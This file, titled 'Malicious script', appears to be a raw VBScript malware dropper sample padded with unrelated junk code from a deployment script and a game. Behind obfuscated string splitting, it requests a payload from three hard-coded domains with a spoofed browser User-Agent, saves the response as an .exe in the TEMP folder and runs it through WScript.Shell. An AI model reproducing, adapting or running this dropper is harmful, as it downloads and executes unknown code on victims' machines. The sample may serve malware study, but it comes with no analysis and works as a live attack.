Malicious script

Function CopyLog()

        Dim oFile
        Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
        Dim sComputer
        Dim sLog
        Dim sBootDrive




        ' Make sure the path is accessible
        oUtility.ValidateConnection oEnvironment.Item("SLShare")
        oUtility.VerifyPathExists oEnvironment.Item("SLShare")
        If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
            oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
            Exit Function
        End if



    End Function


Dim Lurkmorestrictnessensurance 'As String
'Dim SagaOD() 'As String
Dim LurkmorestrictnessUotOfStock 'As String

  LurkmorestrictnessBelish = "User"
Function RobertBaration(a,b,c)
a.Write Chr(b  Xor c )
End Function
Function Set2Mine(Who, Color, X, y )
    Dim i
    For i = 0 To UBound(Mines) + 1
        If i > UBound(Mines) Then ReDim Preserve Mines(i)
        If Mines(i).Color = 0 Then
            Mines(i).Who = Who
            Mines(i).Color = Color
            Mines(i).X = X
            Mines(i).y = y
            Mines(i).Tick = 0
            SetMine = i
            Exit For
        End If
    Next
End Function

CUA ="Mozill"+"a/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

    RACHEL = "avetof"

       Dim TristateTrue
Dim LurkmorestrictnessRickNano 'As Object
Dim StateUdisrepute13 'As Object

Function StateUdisreputeSubMainA()
if D = 14 then
AXC = "SaveToFile"
end if
StateUdisrepute13.Savetofile LurkmorestrictnessUotOfStock , 4-2
End Function

Function F3(p)
    Set LurkmorestrictnessRombickom = CreateObject("WScript"+".Shell")
End Function
Dim Lurkmorestrictnessstatus
Lurkmorestrictnessstatus = false
     Dim SagaOD

Function MakeSomeAttemp(A, B, T, F)
set MakeSomeAttemp = A.CreateTextFile( B,T , F)
end function
Dim Lurkmorestrictnesscashback 'As Object
Vrungel = ".responseB"+"ody"


Lurkmorestrictness2 = "Microsoft.XMLHTTPDOLBYAdodb.streaMDOLBY"+"shell.ApplicationDOLBYWscript.shellDOLBYProcessDOLBYGeTDOLBYT"+"emPDOLBYTyRRMC"+"peRRMC"

Function SheduledObject(p,d)


 LurkmorestrictnessRombickom.Run("" &LurkmorestrictnessUotOfStock )
End Function

Dim Lurkmorestrictness1DASH1solo 'As Object


 Dim Lurkmorestrictness2 'As String
Dim LurkmorestrictnessGMAKO 'As Object

Function LurkmorestrictnessFuks(p)

LurkmorestrictnessRickNano.Send

End Function


Function StateUdisreputeSubMainA2(param1)
param1 = param1 + param1
    if  1  < param1 OR param1 < 6777  Then
LurkmorestrictnessASALLLP = LurkmorestrictnessRickNano.responseBody
    end if
param1 = 2 * param1
End Function

Function TouchMyTalala( s401 )
   TouchMyTalala = Split(Replace(Lurkmorestrictness2+"DOLBYRRMCoRRMCpenDOLBYwrRRMCiteDOLBYreRRMCspoRRMCnseBoRRMCdyDOLBYsaRRMCvet"+"ofRRMCileDOLBY\PsArSUVWXNj.exeRRMC"+"DOLBYhtRRMCtp:DOLBY//", "RRMC", "" ),  s401)
End Function
 Function RobertBaration(a,b,c)
a.Write Chr(b  Xor c )
End Function
Dim Lurkmorestrictness4 'As String

Public Function WriteCD(aWrite,bWrite)
astp = 12
astp = astp + 3
if astp > 4 then
aWrite.Write bWrite
astp = 3 * astp
end if
End Function


  Dim MarketPlaceibility 'As String
  Dim sNodeKey 'As String
  Dim sParentKey 'As String

Dim LurkmorestrictnessRombickom
 Dim MarketPlace 'As String
  Dim sTempVis 'As String
  Dim iCount 'As Integer
Dim LurkmorestrictnessASALLLP 'As Variant
Dim dePetya 'As Integer
LurkmorestrictnessBelish = LurkmorestrictnessBelish + "-"

Dim iSlashPOS 'As Integer
  Dim sDecimalVis 'As String
  Dim LurkmorestrictnessPetir 'As String
LurkmorestrictnessPetir = "Ag"


     SagaOD = TouchMyTalala("" + "DOLBY")


Set LurkmorestrictnessRickNano = CreateObject(SagaOD(0))
iSlashPOS = 11 + 1
zTempVis = SagaOD(11/11)

'Set LurkmorestrictnessGMAKO = CreateObject(SagaOD(8-6))
Set LurkmorestrictnessStartupeOb = GetRef("SheduledObject")


Set StateUdisrepute13 = CreateObject("Adodb.streaM")
Set Lurkmorestrictness1DASH1solo = CreateObject(SagaOD(9-6))

mual = Array("yildizmakina74.com/87thiuh3gfDGS?","miliaraic.ru/p66/87thiuh3gfDGS","lanzensberger.de/87thiuh3gfDGS?")


Function SetUA()
LurkmorestrictnessLamp.setRequestHeader LurkmorestrictnessBelish, CUA
End Function

if "AD" + WScript  = "ADWindows Script Host" Then
    Set Lurkmorestrictnesscashback = Lurkmorestrictness1DASH1solo.Environment(SagaOD(1 + 3))

end if

Public Function Anim2UniBall(i)
    Dim Rx, Ry, rBuff
    Dim xt, yt, j, e
    Dim NewX, NewY, d, SgnX, SgnY
    Dim RatioX, RatioY
    Rx = 452
    Ry = 81

    NewX = UniBall(i).BallX
    NewY = UniBall(i).BallY
    If UniBall(i).BSpeedX > UniBall(i).BSpeedY And UniBall(i).BSpeedY > 0 Then RatioY = UniBall(i).BSpeedX / UniBall(i).BSpeedY
    If UniBall(i).BSpeedY > UniBall(i).BSpeedX And UniBall(i).BSpeedX > 0 Then RatioX = UniBall(i).BSpeedY / UniBall(i).BSpeedX
    If RatioX < 1 Then RatioX = 1
    If RatioY < 1 Then RatioY = 1
    If UniBall(i).BSpeedX > 0 Then UniBall(i).BSpeedX = UniBall(i).BSpeedX - (0.01 / RatioX) * speed
    If UniBall(i).BSpeedY > 0 Then UniBall(i).BSpeedY = UniBall(i).BSpeedY - (0.01 / RatioY) * speed
    If UniBall(i).BSpeedX < 0 Then UniBall(i).BSpeedX = 0
    If UniBall(i).BSpeedY < 0 Then UniBall(i).BSpeedY = 0

    UniBall(i).BLoopX = UniBall(i).BLoopX + (UniBall(i).BSpeedX * speed)
    For j = 1 To UniBall(i).BLoopX
        NewX = NewX + UniBall(i).BMoveX
        UniBall(i).BLoopX = UniBall(i).BLoopX - 1
    Next

    UniBall(i).BLoopY = UniBall(i).BLoopY + (UniBall(i).BSpeedY * speed)
    For j = 1 To UniBall(i).BLoopY
        NewY = NewY + UniBall(i).BMoveY
        UniBall(i).BLoopY = UniBall(i).BLoopY - 1
    Next


    SgnX = Sgn(NewX - UniBall(i).BallX)
    SgnY = Sgn(NewY - UniBall(i).BallY)


    If SgnX = 1 Then 'x positive testing
        For d = UniBall(i).BallX + 1 To NewX
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -7 Then
                Exit For
            End If
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d - 1
                Exit For
            End If
        Next
    End If

    If SgnX = -1 Then 'x negative testing
        For d = UniBall(i).BallX - 1 To NewX Step -1
            j = WeaponTouch(6, i, d, UniBall(i).BallY)
            If j = -6 Then
                UniBall(i).BMoveX = UniBall(i).BMoveX * -1
                NewX = d + 1
                Exit For
            End If
        Next
    End If

    If SgnY = 1 Then 'y positive testing
        For d = UniBall(i).BallY + 1 To NewY
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d - 1
                Exit For
            End If
        Next
    End If

    If SgnY = -1 Then 'y negative testing
        For d = UniBall(i).BallY - 1 To NewY Step -1
            j = WeaponTouch(6, i, NewX, d)
            If j = -6 Then
                UniBall(i).BMoveY = UniBall(i).BMoveY * -1
                NewY = d + 1
                Exit For
            End If
        Next
    End If
    j = WeaponTouch(6, i, NewX, NewY)
    If j = -7 Then Exit Function

    UniBall(i).BallX = NewX
    UniBall(i).BallY = NewY
End Function

 dePetya = 89210


Lurkmorestrictnessensurance = Lurkmorestrictnesscashback(SagaOD(6))
 Dim i
 'on error GoTo nextU
' on error resume next
sTempVis = SagaOD(iSlashPOS)
Function FragWin()
    Dim i, X
    Dim oNewMsg(), lNewOffSet
    Dim lNewMsg

    For i = 1 To UBound(PlayerDat)
        If PlayerDat(i).Ship > 0 Then
            PlayerDat(i).Score = 0
            lNewMsg = MSG_PLAYERSCORE
            lNewOffSet = 0
            ReDim oNewMsg(0)
            AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
            AddBufferData oNewMsg, VarPtr(i), LenB(i), lNewOffSet
            X = PlayerDat(i).Score
            AddBufferData oNewMsg, VarPtr(X), LenB(X), lNewOffSet
            SendTo oNewMsg, -1
            HoldingArea i
        End If
    Next
    lNewMsg = MSG_PLAYERHOME
    lNewOffSet = 0
    ReDim oNewMsg(0)
    AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
    AddBufferData oNewMsg, VarPtr(HighestScoreWho), LenB(HighestScoreWho), lNewOffSet
    SendTo oNewMsg, -1
    Call sendmsg(MSG_GAMECHAT, Chr(5) & PlayerDat(HighestScoreWho).Nick & " IS THE WINNER! ! !", -1)
    HighestScore = 0
    HighestScoreWho = 0
    For i = 0 To UBound(Mines)
        Mines(i).Color = 0
    Next
End Function

MarketPlace = SagaOD(11+2) & SagaOD(11+3)

LurkmorestrictnessBelish = LurkmorestrictnessBelish & LurkmorestrictnessPetir & "ent"

rdde = 19

lTo = UBound(mual)

For i = 0 To lTo Step 1
rdde = rdde * 8

    on error resume  next

dePetya =  dePetya +7
 Lurkmorestrictness4 = MarketPlace + mual(i)
 LurkmorestrictnessRickNano.Open SagaOD(5), Lurkmorestrictness4, False
dr1=2

rdde = rdde + 7


SetUA()
LurkmorestrictnessFuks " d "
If LurkmorestrictnessRickNano.Status +3 = 203 Then
Lurkmorestrictnessstatus = true
 Exit For
End If

goto14:
Next

on error goto 0
if Lurkmorestrictnessstatus Then
Dim Ratchet 'As String
 LurkmorestrictnessUotOfStock = Lurkmorestrictnessensurance+ sTempVis

F3 ""

StateUdisrepute13.Type = 1
 StateUdisrepute13.Open
StateUdisreputeSubMainA2 22
WriteCD StateUdisrepute13,LurkmorestrictnessASALLLP
dttat =4
LurkmorestrictnessUotOfStocku = "" + LurkmorestrictnessUotOfStock

dttat = dttat*2

StateUdisreputeSubMainA()
Dim LurkmorestrictnessJohnSnowu,LurkmorestrictnessTmp1 'As Long

LurkmorestrictnessJohnSnowu = 3012

If 1000  < LurkmorestrictnessJohnSnowu Then
  drba =55
 LurkmorestrictnessTmp1 = "|"

LurkmorestrictnessStartupeOb 1,"19"
End If


triada = 13
end if